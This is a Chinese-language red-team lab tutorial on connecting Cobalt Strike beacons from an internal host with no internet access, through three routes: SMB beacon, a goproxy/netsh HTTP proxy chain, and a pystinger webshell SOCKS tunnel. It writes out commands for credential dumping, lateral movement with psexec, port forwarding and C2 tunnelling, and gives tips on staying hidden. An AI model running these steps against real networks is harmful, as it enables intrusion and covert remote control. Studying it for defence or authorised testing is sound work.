不出网主机上线方法
字数 1464 2025-08-18 11:36:36
不出网主机上线方法详解
测试环境配置
- 公网IP段: 192.168.111.0/24
- 内网IP段: 192.168.204.0/24
主机配置
-
Web服务器
- 系统: Windows 2008 R2
- 角色: DMZ主机
- 网络配置:
- 两块网卡: NAT模式 + HOSTONLY模式
- 可通外网
- 公网IP: 192.168.111.132
- 内网IP: 192.168.204.188
-
内网主机
- 系统: Windows 2012
- 网络配置:
- HOSTONLY模式
- 不通外网
- 内网IP: 192.168.204.141
-
C2服务器
- 系统: Kali Linux
- 公网IP: 192.168.111.129
方法一:SMB Beacon
原理
SMB Beacon使用命名管道通过父级Beacon进行通讯,流量封装在SMB协议中,相对隐蔽。
使用条件
- 目标主机必须开放445端口
- 只能链接由同一个Cobalt Strike实例管理的Beacon
- 必须有目标主机的管理员权限或凭据
操作步骤
- 首先获取内网中一台主机的beacon
- 使用mimikatz抓取密码
- 对目标主机进行SMB喷射,获取administrator账户密码
- 建立SMB beacon listener
- 使用psexec横向移动,选择现有beacon作为跳板
- 必须使用administrator凭据
- 连接成功后,smb beacon上线的主机右侧会有∞∞标识
方法二:HTTP代理上线
使用工具
goproxy (proxy.exe)
操作步骤
- 上传proxy.exe到web服务器
- 在8080端口开启HTTP代理:
C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon - 使用netsh命令进行端口转发:
netsh interface portproxy add v4tov4 listenaddress=192.168.204.188 listenport=822 connectaddress=192.168.111.132 connectport=8080- 注意: 822端口必须未被使用
- 检查端口是否启用:
netstat -ano | findstr :822 - 创建listener并配置:
- 类型: HTTP
- 主机: C2服务器IP
- 端口: 8080
- 代理设置: 使用web服务器作为代理
- 生成stageless payload
- 区别:
- stager: 分阶段,第一阶段申请内存,第二阶段请求shellcode
- stageless: 包含所有文件,避免shellcode传输问题
- 区别:
- 连接过程:
192.168.204.141 → 192.168.204.188:822 → 192.168.111.132:8080 → C2
方法三:pystinger搭建SOCKS4代理
原理
- 服务端由webshell和stinger_server.exe构成
- webshell负责流量转发
- stinger_server.exe处理连接和数据
- 本质是搭建SOCKS4代理
操作步骤
- 上传proxy.php到网站目录
- 正常访问应返回UTF-8
- 上传stinger_server.exe并执行:
start stinger_server.exe 0.0.0.0 - 在Kali上执行客户端:
./stinger_client -w http://192.168.111.132:81/proxy.php -l 127.0.0.1 -p 60000 - CS中新建listener:
- 主机: 192.168.204.188 (web服务器内网IP)
- 端口: 60020 (转发端口)
- 使用psexec横向移动,选择stinger作为listener
关键注意事项
-
端口选择:
- 确保转发端口未被占用
- 避免使用常见服务端口
-
权限要求:
- SMB beacon必须使用管理员权限
- 横向移动需要有效凭据
-
payload选择:
- 网络不稳定环境建议使用stageless
- 隐蔽性要求高时考虑SMB beacon
-
代理设置:
- 确保代理链各环节连通
- 测试每个节点的连接性
-
隐蔽性:
- SMB流量比HTTP更隐蔽
- 代理可以混淆真实C2地址
参考资源
- Cobalt Strike Listener with Proxy
- 红队攻防实践:不出网主机搭建内网隧道新思路
- DNS与SMB beacon详解与一种内网穿透方法的实践